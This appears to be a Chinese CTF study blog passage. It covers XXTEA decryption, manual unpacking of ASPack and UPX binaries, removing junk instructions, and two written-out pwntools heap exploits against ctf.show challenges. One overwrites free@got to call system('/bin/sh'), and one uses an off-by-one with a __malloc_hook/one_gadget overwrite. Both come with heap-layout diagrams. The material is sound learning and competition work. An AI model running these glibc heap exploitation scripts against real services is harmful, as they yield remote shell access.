z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) { /* Decoding Part */
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}

int main() {
// 密文数据 (小端序十六进制)
uint32_t v[8] = {
0x3E95DFCB, 0x608F99DA, 0x40ABC551, 0x941490C5,
0x7985C1B9, 0x20FC9B0A, 0x23C095EB, 0x62EFB4EE
};

// 密钥 (小端序十六进制)
uint32_t const k[4] = {
0x34333231, 0x38373635, 0x32313039, 0x36353433
};

int n = 8; // 密文长度为8个32位无符号整数

printf("密文数据:\n");
for (int i = 0; i < n; i++) {
printf("0x%08X ", v[i]);
if ((i + 1) % 4 == 0) printf("\n");
}

// 解密
btea(v, -n, k);

printf("\n解密后的数据:\n");
for (int i = 0; i < n; i++) {
printf("0x%08X ", v[i]);
if ((i + 1) % 4 == 0) printf("\n");
}

// 将解密后的数据解释为字符
printf("\n解密后的字符串:\n");
unsigned char* bytes = (unsigned char*)v;
for (int i = 0; i < n * 4; i++) {
if (bytes[i] >= 32 && bytes[i] <= 126) {
printf("%c", bytes[i]);
}
else {
printf("\\x%02X", bytes[i]);
}
}
printf("\n");

return 0;
}

介绍

XXTEA(Corrected Block TEA)是 XTEA 算法的优化升级版,专为解决 XTEA 对数据块长度的限制而生,能以 32 位无符号整数为基本单位,对任意长度的数据进行加密解密;它延续了轻量级特性,仅依赖基础算术与位运算,代码量少、资源占用低,同时优化了轮函数设计,增强抗攻击能力,广泛用于嵌入式设备、物联网终端、小型通信协议等对算力和存储要求严苛的场景。

最常魔改点

define DELTA 0x9e3779b9 这个数据经常被换。

加密原理

  • 输入:明文数组 v(8个32位整数)、数组长度 n=8、密钥 k(4个32位整数)。
  • 关键步骤
    • 计算轮数 rounds = 6 + 52 / n(确保充分混淆)。
    • 初始化 sum = 0z = v[n-1]
    • 多轮循环(每轮 sum += DELTA(0x9e3779b9)):
      • 计算 e = (sum >> 2) & 3(动态选择密钥索引)。
      • 遍历数组(除最后一个元素),使用 MX 函数更新每个 v[p]v[p] += MXMX 混合 y(下一个元素)、z(前一个元素)、密钥和 sum)。
      • 更新最后一个元素 v[n-1] += MX(使用 y = v[0])。
  • 输出:密文数组 v(原始明文被加密)。

解密原理

  • 输入:密文数组 v、负长度 -n(触发解密模式)、相同密钥 k
  • 关键步骤
    • n 的绝对值,计算相同轮数 rounds
    • 初始化 sum = rounds * DELTA(加密最终值),y = v[0]
    • 多轮循环(每轮 sum -= DELTA):
      • 计算 e(同加密)。
      • 反向遍历数组(从最后一个元素到第二个),使用 v[p] -= MX(逆操作,恢复加密前值)。
      • 更新第一个元素 v[0] -= MX
  • 输出:明文数组 v(密文被解密)。

先用dbg打开,F8步入发现第一个esp发生变化(除了载入时第一次变红)在ESP硬件下断点。

0

F9达到jne,继续F8,ret后面返回的就是oep的入口。

1

oep的入口

2

在这里dump就可以了

3

把第一步转储的修复

4

生成00.aspack_dump_SCY.exe用IDA打开就是脱壳了的。

感谢霍爷教我upx脱壳

第一步设置入口处断点,只保留入口处断点

1

调试–>运行 ,达到pushad

2

在堆栈区下断点

3

F9运行到popad

4

看到循环F4跳过

5

接着看到一大部分寄存器初始化

6

F7单步进入

7

达到入口

8

用syclla

9

先点击转储,出现一个dump.exe在用IAT两次确定后获取导入,最后修复转储是选择刚刚的dump.exe就可以得到dump_SCY.exe,用IDA打开

10

成功脱壳。

变异upx

这个是0xGame2025的一个upx,用工具根本脱不了,手托也好难。

这里记录一下

首先这个是个elf文件只能到kali上动调,而且这里还有个细节问题,

11

e_type字段的可能值:
0x01 = ET_REL - 可重定位文件
0x02 = ET_EXEC - 可执行文件
0x03 = ET_DYN - 共享目标文件
0x04 = ET_CORE - 核心转储文件

我们这里03会导致远程连接出现问题要共享库的参数之类的,所以行不通,要把03改成02,但是放在虚拟记得文件不能改,只要改放如IDA的附件,不然也会出错。

11

11

flag长度是56

运行debug

11

用脚本dump

在IDA内运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding: utf-8 -*-

from ida_bytes import get_bytes
from ida_kernwin import ask_addr, ask_file, warning, info
import ida_segment

def dump_memory_to_file():
"""
从IDA数据库中dump指定范围的内存到文件中。
"""
# 1. 获取要dump的内存范围
# 尝试获取当前光标所在的段作为默认范围
current_ea = get_screen_ea()
current_seg = ida_segment.getseg(current_ea)

default_start = current_seg.start_ea if current_seg else 0
default_end = current_seg.end_ea if current_seg else 0x10000

start_addr = ask_addr(default_start, "请输入起始地址 (start address):")
if start_addr is None:
info("操作已取消。")
return

end_addr = ask_addr(default_end, "请输入结束地址 (end address):")
if end_addr is None:
info("操作已取消。")
return

# 2. 地址合法性校验
if start_addr >= end_addr:
warning(f"起始地址 ${start_addr:x}$ 不能大于或等于结束地址 ${end_addr:x}$。")
return

size = end_addr - start_addr
print(f"准备从 ${start_addr:x}$ dump 到 ${end_addr:x}$ (大小: {size} 字节)...")

# 3. 获取内存内容
try:
content = get_bytes(start_addr, size)
if not content:
warning(f"无法从地址范围 ${start_addr:x}$ - ${end_addr:x}$ 读取到有效数据。")
return
except Exception as e:
warning(f"使用 get_bytes 时发生错误: {e}")
return

# 4. 获取保存路径
# 建议默认文件名,并允许用户修改
default_filename = f"dump_{start_addr:x}_{end_addr:x}.bin"
save_path = ask_file(1, default_filename, "请选择保存路径和文件名")

if not save_path:
info("操作已取消。")
return

# 5. 写入文件 (使用 with 语句)
try:
with open(save_path, "wb") as f:
f.write(content)
info(f"成功将 {len(content)} 字节的数据写入到:\n{save_path}")
except IOError as e:
warning(f"写入文件时发生错误: {e}")

# --- 执行脚本 ---
if __name__ == "__main__":
dump_memory_to_file()

11

参考文章

160

找到漏洞点在exit处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int __cdecl sub_80488C0(unsigned __int8 a1)
{
unsigned int result; // eax
int v2; // [esp+18h] [ebp-10h] BYREF
unsigned int v3; // [esp+1Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B061 && *((_DWORD *)&unk_804B080 + a1) )
{
v2 = 0;
printf("text length: ")
__isoc99_scanf("%u%c", &v2);
if ( **((_DWORD **)&unk_804B080 + a1) + v2 >= (unsigned int)(*((_DWORD *)&unk_804B080 + a1) - 4) )
{
puts("Wtf?");
exit(1);
}
printf("text: ");
sub_8048846(**((_DWORD **)&unk_804B080 + a1), v2 + 1);
}
result = __readgsdword(0x14u) ^ v3;
if ( result )
sub_8048EF0();
return result;
}
1
**((_DWORD **)&unk_804B080 + a1) + v2 >= (unsigned int)(*((_DWORD *)&unk_804B080 + a1) - 4)

这个判断处在漏洞,它是通过限制修改的长度,使得我们自己创建的chunk地址加上修改长度不能超过系统创建的chunk的长度。

但是这种限制是可以绕过的。

虚拟机高级会自己检查出堆溢出,等我配个低级的虚拟机再继续来写,不然无法调试。

安装好了ubuntu20继续做题。

来动调看看变化,还是有自动检查,不知道什么问题。只能先放这里了,目前只只能理论上理解这题了。

附个佬的exp,再用图来解释攻击过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("xxxx", xxxx)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("xxxx.so")

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size,data,size1,data1):
sla(b"Action: ",b"0")
ru(b"size of description: ")
sl(str(size))
ru(b"name: ")
sl(data)
ru(b"text length: ")
sl(str(size1))
ru(b"text: ")
sl(data1)

def free(idx):
sla(b"Action: ",b"1")
sla(b"index: ",str(idx))

def show(idx):
sla(b"Action: ",b"2")
sla(b"index: ",str(idx))

def edit(idx,size,data):
sla(b"Action: ",b"3")
sla(b"index: ",str(idx))
ru(b"text length: ")
sl(str(size))
ru(b"text: ")
sl(data)


free_got = elf.got['free']

add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")


free(0)
add(0x100,b"vvvv",0x100,b"gggg")


edit(3,0x200,b"a"*0x108+p32(0)+p32(0x89)+b"a"*0x80+p32(0)+p32(0x89)+p32(free_got))
show(1)
free_addr = u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
libc_base = free_addr-libc.sym['free']
print("libc_base",hex(libc_base))
system_addr = libc_base+libc.sym['system']
edit(1,0x8,p32(system_addr))
free(2)


# gdb.attach(io)

itr()

Step 1:连续 add 三次后的初始布局(A 与 S 紧挨)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+----------------------+ <-- 0x8ee0000
| 主chunk0 (0x80) | # add(0x80) "aaaa"
| 数据区: 0x8ee0008 |
+----------------------+ <-- 0x8ee0090
| 系统chunk0 (0x80) | # add(0x80) "bbbb"
| 数据区: 0x8ee0098 |
+----------------------+ <-- 0x8ee0118
| 主chunk1 (0x80) | # add(0x80) "aaaa"
| 数据区: 0x8ee0120 |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # add(0x80) "bbbb"
| 数据区: 0x8ee01a8 |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # add(0x80) "aaaa"
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # add(0x80) "/bin/sh;"
| 数据区: 0x8ee02b8 |
+----------------------+
| TOP CHUNK |
高地址 ↑

Step 2:free(0) 后,A0+S0 合并为空闲(低地址形成大洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
+----------------------+ <-- 0x8ee0000
| FREE(A0+S0) | # free(0) 后 A0 与 S0 合并为空闲段
| 范围: 0x8ee0000 ~ 0x8ee0118
+----------------------+ <-- 0x8ee0118
| 主chunk1 (0x80) | # 保持不变
| 数据区: 0x8ee0120 |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # 保持不变
| 数据区: 0x8ee01a8 |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # 保持不变
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # 保持不变
| 数据区: 0x8ee02b8 |
+----------------------+
| TOP CHUNK |
高地址 ↑

Step 3:再次 add(0x100, "vvvv", 0x100, "gggg")

新的 主chunk3(0x100) 优先复用低地址的 FREE(把洞吃掉);

但配套的 系统chunk3(0x100) 因附近无相邻空间,只能从 TOP CHUNK(高地址)再切一块出来,因此被甩到更远处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+----------------------+ <-- 0x8ee0000
| 主chunk3 (0x100) | # 新的用户块,复用低地址 FREE
| 数据区: 0x8ee0008 |
+----------------------+ <-- 0x8ee0108
| 主chunk1 (0x80) | # 仍在原位
| 数据区: 0x8ee0120 |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # 仍在原位
| 数据区: 0x8ee01a8 |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # 仍在原位
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # 仍在原位
| 数据区: 0x8ee02b8 |
+----------------------+ <-- 0x8ee0400 (举例)
| 系统chunk3 (0x100) | # 从 TOP 切分的新系统块(远端高地址)
| 数据区: 0x8ee0408 |
+----------------------+
| TOP CHUNK |
高地址 ↑

Step 4:edit(3,0x200, ...) 溢出伪造

  • 主chunk3(0x100) 本来在低地址,edit(3,0x200, …) 写入 超过 0x100 的数据,覆盖到相邻的 主chunk1 / 系统chunk1 的头部。
  • payload 把它们伪造成 size=0x89 的 fake chunk,并在 fd 指针写入 free@got
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
+----------------------+ <-- 0x8ee0000
| 主chunk3 (0x100) | # 用户可控,edit(3,...) 时从这里开始写
| 数据区: 0x8ee0008 |
| ... 溢出覆盖 ... |
| fake size=0x89 | # 伪造chunk头
| fd=free_got | # 链入 fastbin
+----------------------+ <-- 0x8ee0108
| 主chunk1 (伪造头) | # 被覆盖 size/FD 改掉
| fd=free_got |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # header 被覆盖
| ... |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # 还在原位
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # /bin/sh
| 数据区: 0x8ee02b8 |
+----------------------+ <-- 0x8ee0400
| 系统chunk3 (0x100) | # 远端 TOP 分配
| 数据区: 0x8ee0408 |
+----------------------+
| TOP CHUNK |
高地址 ↑

step 5:show(1) → 泄露 free@libc

  • 因为 fake FD 指向 free_got,show(1) 会打印出 GOT 表项内容(真实的 free 地址)。
  • 通过 free_addr - libc.sym['free'] 算出 libc 基址。

Step 6:edit(1,0x8,p32(system_addr))

  • free@got 覆写成 system

Step 7:free(2)

  • 系统chunk2 数据区存的是 /bin/sh
  • 执行 free(2) 实际调用了 system("/bin/sh") → getshell 🎉

161

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_E3A(int a1, unsigned int a2)
{
__int64 result; // rax

if ( a1 > (int)a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return (unsigned int)result;
}

在edit函数中有off-by-one漏洞

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28311)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size):
sla(b"Choice: ",b"1")
sla(b"size: ",str(size))


def edit(idx,size,data):
sla(b"Choice: ",b"2")
ru(b"index: ")
sl(str(idx))
ru(b"size: ")
sl(str(size))
ru(b"content: ")
s(data)

def free(idx):
sla(b"Choice: ",b"3")
sla(b"index: ",str(idx))

def show(idx):
sla(b"Choice: ",b"4")
sla(b"index: ",str(idx))


add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x68) #3


payload = b"a"*0x18+b"\xe1"
edit(0,0x18+10,payload)
free(1)
add(0x78)
#gdb.attach(io)
#pause()
show(2)

main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-0x10-88
libc_base = malloc_hook-libc.sym["__malloc_hook"]
fake_chunk = malloc_hook-0x23
realloc = libc_base+libc.sym["realloc"]

one_gadget = libc_base+gadget[1]
print("libc_base",hex(libc_base))

payload = p64(0)*0xd+p64(0x71)
edit(1,len(payload),payload)
free(2)
payload = p64(0)*0xd+p64(0x71)+p64(fake_chunk)
edit(1,len(payload),payload)
add(0x68)
add(0x68)

payload = b"a"*3+p64(0)+p64(one_gadget)+p64(realloc+16)
edit(4,len(payload),payload)
add(0x10)


# gdb.attach(io)

itr()

详细来解释攻击过程

1
2
3
4
add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x68) #3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7290
Size: 0x20 (with flag bits: 0x21) chunk0

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f72b0 chunk1
Size: 0x70 (with flag bits: 0x71)

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7320 chunk2
Size: 0x70 (with flag bits: 0x71)

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7390 chunk3
Size: 0x70 (with flag bits: 0x71)

Top chunk | PREV_INUSE
Addr: 0x60bcb54f7400
Size: 0x20c00 (with flag bits: 0x20c01)
1
2
3
4
5
6
7
8
9
10
+----------------------+ <-- A (index 0)
| chunk A (0x70) | # 用来 off-by-one
+----------------------+ <-- B (index 1)
| chunk B (0x70) | # 将被改 size=0xe0
+----------------------+ <-- C (index 2)
| chunk C (0x70) | # 后面泄露 libc
+----------------------+ <-- D (index 3)
| chunk D (0x70) | # 隔离,防合并
+----------------------+
| top chunk ... |
1
2
payload = b"a"*0x18+b"\xe1"
edit(0,0x18+10,payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x63ea93c93000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x63ea93c93290
Size: 0x20 (with flag bits: 0x21) chunk0

Allocated chunk | PREV_INUSE
Addr: 0x63ea93c932b0
Size: 0xe0 (with flag bits: 0xe1) chunk1的大小就被改了

Allocated chunk | PREV_INUSE
Addr: 0x63ea93c93390 chunk3
Size: 0x70 (with flag bits: 0x71)

Top chunk | PREV_INUSE
Addr: 0x63ea93c93400
Size: 0x20c00 (with flag bits: 0x20c01)

可以看到chunk1的大小就被改了

怎么改变的呢?

0x18会自动补全成0x20此时覆盖掉了pre size,由于off-by-one,我们写入0xe1就可以覆盖chunk1的size从而改变chunk1的大小。

这样做有什么用?

chunk1大小改变后chunk1的用户区就会覆盖到chunk2的头部。

1
free(1)  #free(B) → B(0xe0) 进 unsorted,fd/bk 写入 libc 地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x6271fdbd2000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x6271fdbd2290
Size: 0x20 (with flag bits: 0x21)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x6271fdbd22b0
Size: 0xe0 (with flag bits: 0xe1)
fd: 0x6271fdbd2

Allocated chunk | PREV_INUSE
Addr: 0x6271fdbd2390
Size: 0x70 (with flag bits: 0x71)

Top chunk | PREV_INUSE
Addr: 0x6271fdbd2400
Size: 0x20c00 (with flag bits: 0x20c01)

这里补充一下

  • glibc 的 free 逻辑(以 2.23 为例):
    • 小于等于 0x80(含 chunk header)的空闲块 → 放入 fastbin
    • 大于 0x80 且小于等于 0x400 → 放入 small bin,但第一次 free 先进入 unsorted bin
    • 更大的 → large bin / top chunk。

👉 总结:一个 chunk 进 unsorted 还是 fastbin,取决于它的 size(含 header)

这样做有什么用?

由上一步chunk1的用户区覆盖到chunk2的头部,当 chunk1 进 unsorted 时,glibc 会在这个空闲块的用户区最前面写入 fd/bk 指针,指向 main_arena这些指针是 libc 地址

由于 chunk1 被“扩成了 0xe0”,它的“用户区”已经覆盖到 chunk2的头和部分用户区;于是 unsorted 的 fd/bk 指针就落在了 C 的用户区里(重叠泄露的关键)

这时 add(0x88) show(2) 将chunk1申请回来再,打印 chunk2,就能读到 main_arena 相关指针,从而泄露 libc。

远程是可以泄露的,但是在本地调试的时候add(0x88)的时候会回直接申请一个新堆块,导致没成功,现在还没找到解决办法,先放这里。

162

EasyRE

ai一把出直接给exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
def rol(x, n):
return ((x << n) | (x >> (8 - n))) & 0xFF

def ror(x, n):
return ((x >> n) | (x << (8 - n))) & 0xFF

def unxor_chain(data):
temp = [0] * len(data)
for i in range(len(data)):
if i == 0:
temp[i] = data[i] ^ 0x42
else:
temp[i] = (data[i] ^ data[i-1]) ^ 0x42
return temp

def generate_sbox():
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] - 7*(i//7) + i + 4919) % 256
s[i], s[j] = s[j], s[i]
return s

def decrypt_flag(target):
temp_v24 = unxor_chain(target)
s = generate_sbox() # 固定 s-box

i = 0
j = 0
flag = []

for idx in range(len(temp_v24)):
# Step 1: i = (i + 1) % 256
i = (i + 1) % 256

# Step 2: j 更新
if i % 3 == 0:
j = (j + s[3 * i % 256]) % 256
else:
j = (j + s[i]) % 256

# Step 3: 交换 s[i] 和 s[j]
old_si = s[i]
old_sj = s[j]
s[i], s[j] = s[j], s[i]

# Step 4: 计算 index = (old_s[i] + new_s[i]) & 0xFF = (old_si + s[i]) & 0xFF
index = (old_si + s[i]) & 0xFF
ks = s[index] # keystream byte

# Step 5: bias = (i * j) % 16
bias = (i * j) % 16

# Step 6: temp_v24[idx] = rol( bias + (flag_char ^ ks), 3 )
decrypted_val = ror(temp_v24[idx], 3) # ror by 3
# => bias + (flag_char ^ ks) = decrypted_val
xor_val = decrypted_val - bias
xor_val &= 0xFF # 模 256

flag_char = xor_val ^ ks
flag.append(flag_char)

return bytes(flag).decode('ascii', errors='replace')

# 目标数据
target = [
0x93, 0xF9, 0x8D, 0x92, 0x52, 0x57, 0xD9, 0x05, 0xC6, 0x0A, 0x50,
0xC7, 0xDB, 0x4F, 0xCB, 0xD8, 0x5D, 0xA6, 0xB9, 0x40, 0x95,
0x70, 0xE7, 0x9A, 0x37, 0x72, 0x4D, 0xEF, 0x57
]

flag = decrypt_flag(target)
print("Flag:", flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
char *retaddr; // [rsp+0h] [rbp+0h] BYREF

v4 = v5;
v5 = v3;
_libc_start_main(main, v4, &retaddr, init, fini, a3, &v5);
__halt();
}

点击main,发现有花指令,改一下

先给出修改好的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rax
int i; // [rsp+4h] [rbp-6Ch]
int v6[4]; // [rsp+10h] [rbp-60h] BYREF
int v7[8]; // [rsp+20h] [rbp-50h]
__int64 buf[6]; // [rsp+40h] [rbp-30h] BYREF

buf[5] = __readfsqword(0x28u);
v6[0] = 2;
v6[1] = 0;
v6[2] = 2;
v6[3] = 2;
memset(buf, 0, 32);
v7[0] = 1452940357;
v7[1] = -282301936;
v7[2] = -79426602;
v7[3] = 1469576221;
v7[4] = 1379922627;
v7[5] = 1211333849;
v7[6] = 907455533;
v7[7] = 112603437;
puts("Pls input flag");
read(0, buf, 0x20uLL);
sub_55A7A6AAA1A9((unsigned int *)buf, v6);
for ( i = 0; i <= 3; ++i )
{
if ( v7[i] != *(_DWORD *)(4LL * i + v3) || v7[2 * i + 1] != *(_DWORD *)(4 * (2 * i + 1LL) + v3) )
{
puts("ERROR");
_exit(0);
}
}
puts("Success");
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall sub_55A7A6AAA1A9(unsigned int *a1, _DWORD *a2)
{
int i; // [rsp+18h] [rbp-28h]
unsigned int v3; // [rsp+1Ch] [rbp-24h]
unsigned int v4; // [rsp+20h] [rbp-20h]
int v5; // [rsp+24h] [rbp-1Ch]
unsigned int j; // [rsp+28h] [rbp-18h]

for ( i = 0; i <= 3; ++i )
{
v3 = a1[2 * i];
v4 = a1[2 * i + 1];
v5 = 0;
for ( j = 0; j <= 0x1F; ++j )
{
v5 -= 1988930350;
v3 += v5 ^ (v4 + v5) ^ (16 * v4 + *a2) ^ ((v4 >> 5) + a2[1]);
v4 += v5 ^ (v3 + v5) ^ (16 * v3 + a2[2]) ^ ((v3 >> 5) + a2[3]);
}
a1[2 * i] = v3;
a1[2 * i + 1] = v4;
}
return a1;
}

这是改好的

现在来说怎么改,点击进来时你可以发现都是没定义的,直接改patch根本不行,我就先用kali远程调试了一下,让数据重新加载了一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.text:0000000000001308 main:                                   ; DATA XREF: start+21↑o
.text:0000000000001308 ; __unwind {
.text:0000000000001308 endbr64
.text:000000000000130C push rbp
.text:000000000000130D mov rbp, rsp
.text:0000000000001310 sub rsp, 70h
.text:0000000000001314 mov rax, fs:28h
.text:000000000000131D mov [rbp-8], rax
.text:0000000000001321 xor eax, eax
.text:0000000000001323 mov dword ptr [rbp-60h], 2
.text:000000000000132A
.text:000000000000132A loc_132A: ; CODE XREF: .text:loc_1363↓j
.text:000000000000132A mov dword ptr [rbp-5Ch], 0
.text:0000000000001331 mov dword ptr [rbp-58h], 2
.text:0000000000001338 mov dword ptr [rbp-54h], 2
.text:000000000000133F mov qword ptr [rbp-30h], 0
.text:0000000000001347 mov qword ptr [rbp-28h], 0
.text:000000000000134F mov qword ptr [rbp-20h], 0
.text:0000000000001357 mov qword ptr [rbp-18h], 0
.text:000000000000135F jz short near ptr loc_1363+1
.text:0000000000001361 jnz short near ptr loc_1363+1
.text:0000000000001363
.text:0000000000001363 loc_1363: ; CODE XREF: .text:000000000000135F↑j
.text:0000000000001363 ; .text:0000000000001361↑j
.text:0000000000001363 loope near ptr loc_132A+2
.text:0000000000001365 mov r8b, 45h ; 'E'
.text:0000000000001368 sbb al, 9Ah
.text:000000000000136A push rsi
.text:000000000000136B mov dword ptr [rbp-4Ch], 0EF2C6A10h
.text:0000000000001372 mov dword ptr [rbp-48h], 0FB440BD6h
.text:0000000000001379 mov dword ptr [rbp-44h], 5797F41Dh
.text:0000000000001380 mov dword ptr [rbp-40h], 523FF2C3h
.text:0000000000001387 mov dword ptr [rbp-3Ch], 48337CD9h
.text:000000000000138E mov dword ptr [rbp-38h], 3616AC2Dh
.text:0000000000001395 mov dword ptr [rbp-34h], 6B6312Dh
.text:000000000000139C lea rdi, aPlsInputFlag ; "Pls input flag"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:00000000000011A9 loc_11A9:                               ; CODE XREF: .text:00000000000013D1↓p
.text:00000000000011A9 ; __unwind {
.text:00000000000011A9 endbr64
.text:00000000000011AD push rbp
.text:00000000000011AE mov rbp, rsp
.text:00000000000011B1 mov [rbp-38h], rdi
.text:00000000000011B5 mov [rbp-40h], rsi
.text:00000000000011B9 jz short near ptr loc_11BD+1
.text:00000000000011BB jnz short near ptr loc_11BD+1
.text:00000000000011BD
.text:00000000000011BD loc_11BD: ; CODE XREF: .text:00000000000011B9↑j
.text:00000000000011BD ; .text:00000000000011BB↑j
.text:00000000000011BD loope near ptr loc_1182+4
.text:00000000000011BF db 45h
.text:00000000000011BF fadd dword ptr [r8]
.text:00000000000011BF ; ---------------------------------------------------------------------------
.text:00000000000011C2 dw 0
.text:00000000000011C4 dd 12EE900h
.text:00000000000011C8 dq 48C001D8458B0000h, 85148D4898h, 0D00148C8458B4800h
.text:00000000000011E0 dq 0D8458BDC4589008Bh, 1C083489848C001h, 85148D48h, 8BD00148C8458B48h
.text:0000000000001200 dq 0E445C7E0458900h, 54D2EC45C7000000h, 8BC0458B488973h
.text:0000000000001218 dq 8BC0458B48F04589h, 458B48F445890440h, 48F8458908408BC0h
.text:0000000000001230 dq 45890C408BC0458Bh, 0E845C7FCh, 8BE1017503746DEBh, 0E0458BE44501EC45h
.text:0000000000001250 dq 0F0458BC28904E0C1h, 458BE0558B020C8Dh, 8BCA89C131D001E4h
